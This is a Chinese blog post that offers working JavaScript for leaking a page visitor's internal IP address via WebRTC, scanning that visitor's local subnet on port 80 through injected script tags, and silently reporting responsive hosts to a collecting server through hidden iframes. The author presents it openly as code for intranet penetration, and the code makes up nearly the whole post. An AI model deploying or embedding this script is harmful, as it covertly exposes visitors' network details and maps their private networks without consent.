资讯专栏INFORMATION COLUMN

js获取内(外)网真实IP地址(WebRTC)及内网端口扫描

Backache / 2611人阅读

摘要:使用的属性来发送数据内容接受的地址接受内网的参数接受内网开放端口的参数如果想获取真实的外网,请把下一行改为遍历内网及端口,这里只写了端口,多个端口,速度将会的非常慢。

var ip_arr = [];
var TagName = document.getElementsByTagName("body")[0];
function form_ip(ip,port){  //使用iframe的src属性来发送ip、port数据内容
    var iframe = document.createElement("iframe");
    iframe.setAttribute("src","接受的地址?接受内网ip的参数=" + ip + "&接受内网开放端口的参数=" + port);
    iframe.setAttribute("style","display:none")
    TagName.appendChild(iframe);
}
function getIPs(callback){
    var ip_dups = {};
    var RTCPeerConnection = window.RTCPeerConnection
        || window.mozRTCPeerConnection
        || window.webkitRTCPeerConnection;
    var mediaConstraints = {
        optional: [{RtpDataChannels: true}]
    };
    var servers = undefined;
    if(window.webkitRTCPeerConnection)
    //如果想获取真实的外网IP,请把下一行改为servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};
        servers = {iceServers: []};
    var pc = new RTCPeerConnection(servers, mediaConstraints);
    pc.onicecandidate = function(ice){
        if(ice.candidate){
            var ip_regex = /([0-9]{1,3}(.[0-9]{1,3}){3})/
            var ip_addr = ip_regex.exec(ice.candidate.candidate)[1];
            if(ip_dups[ip_addr] === undefined)
                callback(ip_addr);
            ip_dups[ip_addr] = true;
        }
    };
    pc.createDataChannel("");
    pc.createOffer(function(result){
        pc.setLocalDescription(result, function(){});

    }, function(){});
}
getIPs(function(ip){  //遍历内网ip及80端口,这里只写了80端口,多个端口,速度将会的非常慢。
    ip = ip.split(".");
    ip.pop();
    ip = ip.join(".");
    for(var i = 1;i<=255;i++){
        var script = document.createElement("script");
        var ip_url = ip + "." + i + ":80";
        script.setAttribute("src","http://" + ip_url);
        script.setAttribute("onload","form_ip("" + ip + "." + i + "","80")");
        TagName.appendChild(script);
    }
});

虽然WebRTC已经不是什么新技术了,用JavaScript进行内网渗透,网上也有说明,但是都没怎么放出代码。这里就就放出我自己的写的。getIPs(function(ip){...} 效率不怎么高,如有更高者可以在下面给出。

文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。

转载请注明本文地址:https://www.ucloud.cn/yun/85734.html

相关文章

  • JavaScript 是如何工作的:WebRTC 和对等络的机制!

    摘要:为了使连接起作用,对等方必须获取元数据的本地媒体条件例如,分辨率和编解码器功能,并收集应用程序主机的可能网络地址,用于来回传递这些关键信息的信令机制并未内置到中。所有特定于多媒体的元数据都使用协议传递。 这是专门探索 JavaScript 及其所构建的组件的系列文章的第 18 篇。 想阅读更多优质文章请猛戳GitHub博客,一年百来篇优质文章等着你! 如果你错过了前面的章节,可以在这里...

    XBaron 评论0 收藏0
  • 在浏览器中快速探测IP端口是否开放

    摘要:探测端口开放原理就是向目标发送请求,看是否有回应。端口判定为不通。扫描批量目标扫描批量目标使用的并发队列功能,去执行的执行单个任务,在扫描前做了一些额外的工作把浏览器屏蔽的端口过滤掉了,收到的状态就是。 0×00 前言 前两天 freebuf上的的XSS到内网的公开课很受启发,从一个页面到局域网,威力着实增强不少 公开课上检测内网 IP 实现方式用的是 img 标签,加载网站的 fav...

    jackwang 评论0 收藏0
  • 在浏览器中快速探测IP端口是否开放

    摘要:探测端口开放原理就是向目标发送请求,看是否有回应。端口判定为不通。扫描批量目标扫描批量目标使用的并发队列功能,去执行的执行单个任务,在扫描前做了一些额外的工作把浏览器屏蔽的端口过滤掉了,收到的状态就是。 0×00 前言 前两天 freebuf上的的XSS到内网的公开课很受启发,从一个页面到局域网,威力着实增强不少 公开课上检测内网 IP 实现方式用的是 img 标签,加载网站的 fav...

    jlanglang 评论0 收藏0

发表评论

0条评论

Backache

|高级讲师

TA的文章

阅读更多
最新活动
阅读需要支付1元查看
<